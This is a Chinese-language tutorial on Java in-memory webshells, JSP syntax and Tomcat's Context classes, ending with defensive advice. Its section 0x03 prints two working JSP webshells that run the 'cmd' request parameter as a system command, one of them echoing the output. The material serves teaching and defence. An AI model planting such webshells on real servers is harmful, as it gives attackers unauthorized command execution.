Java 内存马与 JSP 不得不说的那些事儿
字数 2022 2025-08-12 11:34:18

Java内存马与JSP技术深度解析

0x01 内存马概述

Java内存马是一种无文件落地的攻击技术,因其隐蔽性强而日益流行。与传统文件型Webshell相比,内存马具有以下特点:

  • 无文件落地,仅存在于内存中
  • 难以通过常规文件扫描检测
  • 可通过动态添加恶意组件实现持久化

内存马发展历程

  • 2017年:n1nty在《Tomcat源码调试笔记-看不见的shell》中首次提出概念
  • 后续发展:rebeyong使用agent技术扩展使用场景
  • 近年:随着防护措施增强,文件型shell逐渐失效,内存马成为主流
  • 当前:已发展出三大类型:
    • servlet-api类:filter型、servlet型
    • spring类:拦截器、controller型
    • Java Instrumentation类:agent型

0x02 JSP基础

JSP简介

JSP(Java Server Pages)是Java的动态网页技术,本质上是Java Servlet,用于实现Web应用的用户界面部分。

JSP环境搭建

  1. 使用Maven创建Web项目
  2. 配置必要的目录结构(lib、classes等)
  3. 部署到Tomcat服务器

JSP语法

脚本程序

<% 代码片段 %>

示例:

<html>
<body>
<h2>Hello World!!!</h2>
<% out.println("GoodBye!"); %>
</body>
</html>

JSP声明

<%! 声明 %>

等价XML:

<jsp:declaration>代码片段</jsp:declaration>

示例:

<%! String s = "GoodBye!"; %>
<% out.println(s); %>

JSP表达式

<%= 表达式 %>

等价XML:

<jsp:expression>表达式</jsp:expression>

示例:

<% String name = "Drunkbaby"; %>
username:<%=name%>

JSP指令

用于设置整个JSP页面属性,有三种:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

JSP注释

<%-- 注释内容 --%>

JSP九大内置对象

对象 类型 说明
request javax.servlet.http.HttpServletRequest 获取用户请求信息
response javax.servlet.http.HttpServletResponse 响应客户端请求
out javax.servlet.jsp.JspWriter 输出内容到HTML
session javax.servlet.http.HttpSession 保存用户信息
application javax.servlet.ServletContext 所有用户共享信息
config javax.servlet.ServletConfig Servlet配置对象
pageContext javax.servlet.jsp.PageContext JSP页面容器
page javax.servlet.jsp.HttpJspPage 当前JSP页面
exception java.lang.Throwable 处理错误和异常

0x03 传统内存马技术

基础JSP Webshell

无回显木马:

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

带回显木马:

<% 
if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}
%>

内存马实现方式

  1. 利用Java Web组件

    • 动态添加恶意组件(Servlet、Filter、Listener等)
    • 在Spring框架下添加Controller、Intercepter
  2. 修改字节码

    • 利用Java Instrument机制
    • 动态注入Agent
    • 在HTTP请求执行路径中的类中添加恶意代码

0x04 Tomcat中的Context理解

Context概念

Context表示请求发生的背景环境,记录当前WEB容器的状态:

  • 当前Filter
  • 当前Servlet
  • Listener
  • 请求参数
  • 请求路径
  • 全局参数等

三种关键Context

  1. ServletContext

    • Servlet规范中规定的接口
    • 定义了WEB容器Context应有的功能
    • 包括获取路径、参数、filter、servlet等操作
  2. ApplicationContext

    • Tomcat中ServletContext的实现
    • 实际套了一层ApplicationContextFacade(门面模式)
    • 实现了ServletContext规范定义的方法(addServlet、addFilter等)
  3. StandardContext

    • org.apache.catalina.core.StandardContext
    • Tomcat中子容器Context的标准实现类
    • 包含对Context子容器中资源的各种操作
    • ApplicationContext中的操作最终调用StandardContext方法

Context关系图

ServletContext(接口)
    ↑
ApplicationContext(实现)
    ↑
ApplicationContextFacade(包装)
    ↑
StandardContext(底层实现)

0x05 内存马防御建议

  1. 代码审计

    • 检查动态添加Servlet/Filter的代码
    • 监控Instrumentation API的使用
  2. 运行时监控

    • 监控Web容器中动态注册的组件
    • 定期检查内存中的可疑类
  3. 安全配置

    • 限制JSP上传和执行权限
    • 启用安全管理器
  4. 入侵检测

    • 部署RASP解决方案
    • 监控异常HTTP请求模式

0x06 参考资料

  1. Tomcat源码调试笔记-看不见的shell
  2. Servlet项目搭建指南
Java内存马与JSP技术深度解析 0x01 内存马概述 Java内存马是一种无文件落地的攻击技术,因其隐蔽性强而日益流行。与传统文件型Webshell相比,内存马具有以下特点: 无文件落地,仅存在于内存中 难以通过常规文件扫描检测 可通过动态添加恶意组件实现持久化 内存马发展历程 2017年:n1nty在《Tomcat源码调试笔记-看不见的shell》中首次提出概念 后续发展:rebeyong使用agent技术扩展使用场景 近年:随着防护措施增强,文件型shell逐渐失效,内存马成为主流 当前:已发展出三大类型: servlet-api类:filter型、servlet型 spring类:拦截器、controller型 Java Instrumentation类:agent型 0x02 JSP基础 JSP简介 JSP(Java Server Pages)是Java的动态网页技术,本质上是Java Servlet,用于实现Web应用的用户界面部分。 JSP环境搭建 使用Maven创建Web项目 配置必要的目录结构(lib、classes等) 部署到Tomcat服务器 JSP语法 脚本程序 示例: JSP声明 等价XML: 示例: JSP表达式 等价XML: 示例: JSP指令 用于设置整个JSP页面属性,有三种: JSP注释 JSP九大内置对象 | 对象 | 类型 | 说明 | |------|------|------| | request | javax.servlet.http.HttpServletRequest | 获取用户请求信息 | | response | javax.servlet.http.HttpServletResponse | 响应客户端请求 | | out | javax.servlet.jsp.JspWriter | 输出内容到HTML | | session | javax.servlet.http.HttpSession | 保存用户信息 | | application | javax.servlet.ServletContext | 所有用户共享信息 | | config | javax.servlet.ServletConfig | Servlet配置对象 | | pageContext | javax.servlet.jsp.PageContext | JSP页面容器 | | page | javax.servlet.jsp.HttpJspPage | 当前JSP页面 | | exception | java.lang.Throwable | 处理错误和异常 | 0x03 传统内存马技术 基础JSP Webshell 无回显木马: 带回显木马: 内存马实现方式 利用Java Web组件 : 动态添加恶意组件(Servlet、Filter、Listener等) 在Spring框架下添加Controller、Intercepter 修改字节码 : 利用Java Instrument机制 动态注入Agent 在HTTP请求执行路径中的类中添加恶意代码 0x04 Tomcat中的Context理解 Context概念 Context表示请求发生的背景环境,记录当前WEB容器的状态: 当前Filter 当前Servlet Listener 请求参数 请求路径 全局参数等 三种关键Context ServletContext : Servlet规范中规定的接口 定义了WEB容器Context应有的功能 包括获取路径、参数、filter、servlet等操作 ApplicationContext : Tomcat中ServletContext的实现 实际套了一层ApplicationContextFacade(门面模式) 实现了ServletContext规范定义的方法(addServlet、addFilter等) StandardContext : org.apache.catalina.core.StandardContext Tomcat中子容器Context的标准实现类 包含对Context子容器中资源的各种操作 ApplicationContext中的操作最终调用StandardContext方法 Context关系图 0x05 内存马防御建议 代码审计 : 检查动态添加Servlet/Filter的代码 监控Instrumentation API的使用 运行时监控 : 监控Web容器中动态注册的组件 定期检查内存中的可疑类 安全配置 : 限制JSP上传和执行权限 启用安全管理器 入侵检测 : 部署RASP解决方案 监控异常HTTP请求模式 0x06 参考资料 Tomcat源码调试笔记-看不见的shell Servlet项目搭建指南